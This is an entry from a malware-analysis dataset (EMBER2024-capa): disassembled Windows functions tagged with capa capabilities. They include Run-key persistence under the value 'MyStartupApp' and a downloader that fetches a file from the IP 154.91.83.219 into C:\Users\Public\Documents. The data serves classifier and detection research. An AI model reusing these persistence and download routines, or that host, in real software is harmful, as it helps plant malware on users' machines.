joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017f0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x41c4d0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x401838
push str.GetModuleHandle_failed
push 0x41d5f0
call fcn.004042d0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401ff0
mov eax, dword [esi]
mov eax, dword [eax + 4]
jmp 0x401964
push 0x104
lea edx, [ebp - 0x110]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401856
push str.GetModuleFileName_failed
jmp 0x401816
lea edx, [ebp - 0x114]
push edx
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40187c
push str.RegOpenKeyEx_failed
jmp 0x401816
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401885
sub eax, edx
inc eax
push eax
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x110]
push edx
push 1
push 0
push str.MyStartupApp
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401935
push str.RegSetValueEx_failed
push 0x41d5f0
call fcn.004042d0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401ff0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x4018f7
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4018f7
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401918
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401910
or eax, 4
push 0
push eax
call fcn.00401530
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405531
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Startup_item_added_successfully.
push 0x41d518
call fcn.004042d0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401ff0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x401984
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401984
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4019a5
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40199d
or eax, 4
push 0
push eax
call fcn.00401530
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405531
mov esp, ebp
pop ebp
ret
Function at 0x4019c0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x41c4d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0
push 0
push 1
push str.dApp
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x401a0b
push str.InternetOpen_failed_n
call fcn.004062e7
add esp, 4
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405531
mov esp, ebp
pop ebp
ret
push edi
push 0
push 0x80000000
push 0
push 0
push str.http:__154.91.83.219_126.png
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x401a4f
push str.InternetOpenUrl_failed_n
call fcn.004062e7
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405531
mov esp, ebp
pop ebp
ret
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push str.C:UsersPublicDocuments126.png
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401a90
push str.CreateFile_failed_n
call fcn.004062e7
add esp, 4
jmp 0x401b30
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401b1c
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x401b1c
push 0
lea edx, [ebp - 0x40c]
push edx
push eax
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401b15
cmp dword [ebp - 0x408], 0
ja 0x401a90
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
push str.C:UsersPublicDocuments126.png
push str._successful._File_saved_at:__s_n
call fcn.004062e7
add esp, 8
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405531
mov esp, ebp
pop ebp
ret
push str.WriteFile_failed_n
jmp 0x401b21
push str.InternetReadFile_failed_n
call fcn.004062e7
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
mov ecx, dword [ebp - 4]
pop esi
pop edi
xor ecx, ebp
xor al, al
pop ebx
call fcn.00405531
mov esp, ebp
pop ebp
ret
Function at 0x403800
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4151a8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x41c4d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x44], 0
je 0x4039af
cmp byte [ebx + 0x49], 0
je 0x4039af
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x4039a3
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x403876
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403893
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4038ca
dec eax
je 0x4038ce
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4039aa
call fcn.00401fa0
xor al, al
jmp 0x4039b1
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4038de
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40390b
cmp edi, 0x10
jae 0x4038ed
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040667c
add esp, 0x10
cmp esi, eax
jne 0x40399b
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4039a7
test esi, esi
jne 0x403887
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4039cd
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4039cd
cmp edi, esi
jae 0x403984
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403e80
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403887
mov ecx, eax
cmp edi, 0x10
jae 0x403960
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40397b
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403881
test esi, esi
jne 0x403956
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x403993
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403881
lea ecx, [ebp - 0x2c]
call fcn.00401fa0
xor al, al
jmp 0x4039b1
lea ecx, [ebp - 0x2c]
call fcn.00401fa0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405531
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.00404fa7
int3
Function at 0x403d50
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4150eb
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x41c4d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004050fb
push 4
mov dword [ebp - 4], 0
call fcn.00406828
mov edi, eax
add esp, 4
test edi, edi
je 0x403dd0
call fcn.00404ec3
mov dword [edi], eax
call fcn.00404c82
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.004050bc
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403dc6
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.004050e4
jmp 0x403dd2
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405531
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41c4d0]
jne 0x40553b
repz ret
jmp fcn.00409a03
Function at 0x4132f5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c4d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040d09b
and dword [ebp - 0x14], 0
cmp dword [0x41e3b4], 0
mov dword [ebp - 0x18], eax
jne 0x4133a8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x413450
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x413450
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41e3b4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41e3b8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41e3bc], eax
call edi
push eax
call esi
mov dword [0x41e3c4], eax
test eax, eax
je 0x4133a8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41e3c0], eax
mov eax, dword [0x41e3c0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x413401
cmp dword [0x41e3c4], ecx
je 0x413401
push eax
call esi
push dword [0x41e3c4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x413401
test ebx, ebx
je 0x413401
call edi
test eax, eax
je 0x4133f8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4133f8
test byte [ebp - 8], 1
jne 0x413401
or dword [ebp + 0x10], 0x200000
jmp 0x413434
mov eax, dword [0x41e3b8]
cmp eax, dword [ebp - 0x18]
je 0x413434
push eax
call esi
test eax, eax
je 0x413434
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413434
mov eax, dword [0x41e3bc]
cmp eax, dword [ebp - 0x18]
je 0x413434
push eax
call esi
test eax, eax
je 0x413434
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41e3b4]
call esi
test eax, eax
je 0x413450
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x413452
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405531
leave
ret
Function at 0x4028a4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x4028d3
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_2
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004039b0
jmp 0x4028f1
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402838
mov edi, eax
test ebx, ebx
je 0x4028f1
cmp dword [esi], 0
je 0x4028f1
dec ebx
jmp 0x4028da
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402bc4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402c5c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402c3c
xor eax, eax
push ebp
push 0x402c35
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402c78
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402c3c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x404bc0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_2
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404d78
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404c21
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404d94
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404c8e
xor eax, eax
push ebp
push 0x404c87
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404c70
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404db4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404c8e
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpyA_1
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale_1
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404d6f
cmp byte [ebp - 0xd], 0
jne 0x404cd0
cmp byte [ebp - 0x12], 0
je 0x404d6f
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404ce9
dec ebx
cmp byte [ebx], 0x2e
je 0x404cf8
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404ce8
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404d6f
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404d25
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA_1
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404d6f
cmp byte [ebp - 0xd], 0
je 0x404d6f
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA_1
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404d6f
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA_1
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4052cc
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, edx
mov edx, dword [ebx + 4]
sub edx, 0xd7b1
cmp edx, 2
ja 0x405328
push ecx
push 0
mov eax, esp
push 0
push eax
mov eax, dword [ebx + 8]
mul ecx
push eax
push esi
push dword [ebx]
call sub.KERNEL32.DLL_ReadFile_1
dec eax
pop eax
pop ecx
jne 0x40531a
xor edx, edx
div dword [ebx + 8]
mov edx, dword [esp + 0xc]
test edx, edx
je 0x40530f
mov dword [edx], eax
pop esi
pop ebx
ret 4
cmp eax, ecx
je 0x40530a
mov eax, 0x64
jmp 0x40531f
call sub.KERNEL32.DLL_GetLastError_1
call fcn.00402788
xor eax, eax
jmp 0x40530a
mov eax, 0x67
jmp 0x40531f

Function at 0x405330
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, edx
mov eax, dword [eax + 4]
sub eax, 0xd7b2
cmp eax, 1
ja 0x40538b
push ecx
push 0
mov eax, esp
push 0
push eax
mov eax, dword [ebx + 8]
mul ecx
push eax
push esi
push dword [ebx]
call sub.KERNEL32.DLL_WriteFile_1
dec eax
pop eax
pop ecx
jne 0x40537d
xor edx, edx
div dword [ebx + 8]
mov edx, dword [esp + 0xc]
test edx, edx
je 0x405372
mov dword [edx], eax
pop esi
pop ebx
ret 4
cmp eax, ecx
je 0x40536d
mov eax, 0x65
jmp 0x405382
call sub.KERNEL32.DLL_GetLastError_1
call fcn.00402788
xor eax, eax
jmp 0x40536d
mov eax, 0x67
jmp 0x405382

Function at 0x4053d0
Capabilities:
Delete file

Disassembly:
mov edx, dword [eax + 4]
sub edx, 0xd7b0
cmp edx, 3
ja 0x4053f7
lea eax, [eax + 0x48]
push eax
call sub.KERNEL32.DLL_DeleteFileA_1
dec eax
jne 0x4053eb
ret
call sub.KERNEL32.DLL_GetLastError_1
call fcn.00402788
jmp 0x4053ea
mov eax, 0x66
jmp 0x4053f0

Function at 0x405400
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, eax
mov edx, dword [ebx + 4]
sub edx, 0xd7b1
cmp edx, 2
ja 0x405430
push 0
push dword [ebx]
call sub.KERNEL32.DLL_GetFileSize
cmp eax, 0xffffffff
je 0x405426
xor edx, edx
div dword [ebx + 8]
pop ebx
ret
call fcn.00402798
or eax, 0xffffffff
jmp 0x405424
mov eax, 0x67
call fcn.00402788
or eax, 0xffffffff
jmp 0x405424

Function at 0x409f44
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x409f7d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004039b0
jmp 0x409f86
mov eax, ebx
mov edx, esi
call fcn.00403964
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409f90
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x409fb1
mov al, byte [esp]
jmp 0x409fb3
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40c6b4
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffeac
mov ebx, eax
movzx eax, word [ebx + 6]
mov edx, dword [ebx]
lea esi, [edx + eax]
cmp word [ebx + 4], 0xfa00
jne 0x40c795
mov di, 0x14c
movzx eax, word [ebx + 4]
movzx edx, word [ebx + 6]
mov ecx, edx
add ecx, 0x2e
cmp eax, ecx
jb 0x40c701
movzx ecx, word [esi + 0x1c]
add edx, ecx
movzx ecx, word [esi + 0x1e]
add edx, ecx
add edx, 0x2e
cmp eax, edx
jae 0x40c795
mov edx, dword [ebx]
lea eax, [edx + eax + 1]
movzx ecx, di
lea edx, [esp + 8]
call fcn.004027f8
movzx ecx, word [ebx + 4]
mov dx, word [ebx + 6]
movzx esi, dx
sub ecx, esi
movzx edx, dx
mov eax, dword [ebx]
lea edx, [eax + edx]
xchg edx, eax
call fcn.004027f8
lea edx, [esp + 4]
push edx
movzx edx, word [ebx + 4]
mov ax, word [ebx + 6]
movzx ecx, ax
sub edx, ecx
mov ecx, dword [ebx]
lea edx, [ecx + edx]
movzx ecx, ax
lea eax, [esp + 0xc]
call fcn.004052cc
call fcn.004027c0
test eax, eax
jne 0x40c767
movzx eax, word [ebx + 6]
add eax, dword [esp + 4]
cmp eax, 0x2e
jge 0x40c771
mov eax, 1
jmp 0x40c8c5
movzx eax, word [ebx + 4]
mov edx, dword [ebx]
lea edx, [edx + eax + 1]
movzx ecx, di
lea eax, [esp + 8]
call fcn.004027f8
xor eax, eax
mov word [ebx + 6], ax
movzx eax, ax
mov edx, dword [ebx]
lea esi, [edx + eax]
movzx eax, word [ebx + 6]
add eax, 4
movzx edx, word [ebx + 4]
cmp eax, edx
ja 0x40c7c4
mov eax, esi
mov ecx, 4
mov edx, dword [0x4442dc]
call fcn.00407e6c
test eax, eax
jne 0x40c7c4
mov eax, 1
jmp 0x40c8c5
movzx ebp, word [ebx + 4]
movzx edi, word [ebx + 6]
mov eax, edi
add eax, 4
cmp ebp, eax
jb 0x40c7fd
movzx eax, word [esi + 0x1c]
add edi, eax
movzx eax, word [esi + 0x1e]
add edi, eax
add edi, 0x2e
cmp ebp, edi
jb 0x40c7fd
mov edx, 0x40c8d0
mov eax, esi
mov ecx, 4
call fcn.00407e6c
test eax, eax
je 0x40c807
mov eax, 1
jmp 0x40c8c5
mov eax, dword [esi + 0x18]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [ebx + 0x14], eax
cmp byte [esi + 5], 0
jne 0x40c827
xor eax, eax
mov al, byte [esi + 0x26]
mov word [ebx + 0x126], ax
jmp 0x40c830
mov word [ebx + 0x126], 0
mov eax, dword [esi + 0xc]
mov dword [ebx + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [ebx + 0x1c], eax
mov ax, word [esi + 8]
mov word [ebx + 0x128], ax
mov eax, dword [esi + 0x2a]
mov dword [ebx + 0x18], eax
mov ax, word [esi + 0xa]
mov word [ebx + 0x124], ax
mov di, word [ebx + 6]
add di, word [esi + 0x1c]
add di, 0x2e
movzx ebp, di
mov eax, dword [ebx]
mov dl, byte [eax + ebp]
mov byte [esp], dl
mov byte [eax + ebp], 0
movzx eax, word [ebx + 6]
mov edx, dword [ebx]
lea edx, [edx + eax + 0x2e]
lea eax, [ebx + 0x20]
mov ecx, 0x103
call fcn.00407db4
mov eax, dword [ebx]
mov dl, byte [esp]
mov byte [eax + ebp], dl
lea eax, [ebx + 0x20]
mov dl, 0x2f
call fcn.00407edc
test eax, eax
je 0x40c8a3
mov byte [eax], 0x5c
test eax, eax
jne 0x40c892
movzx eax, word [esi + 0x1c]
movzx edx, word [esi + 0x1e]
add eax, edx
add eax, 0x2e
test eax, eax
jg 0x40c8bf
mov eax, 0xfffffffe
jmp 0x40c8c5
add word [ebx + 6], ax
xor eax, eax
add esp, 0x154
pop ebp
pop edi
pop esi
pop ebx
ret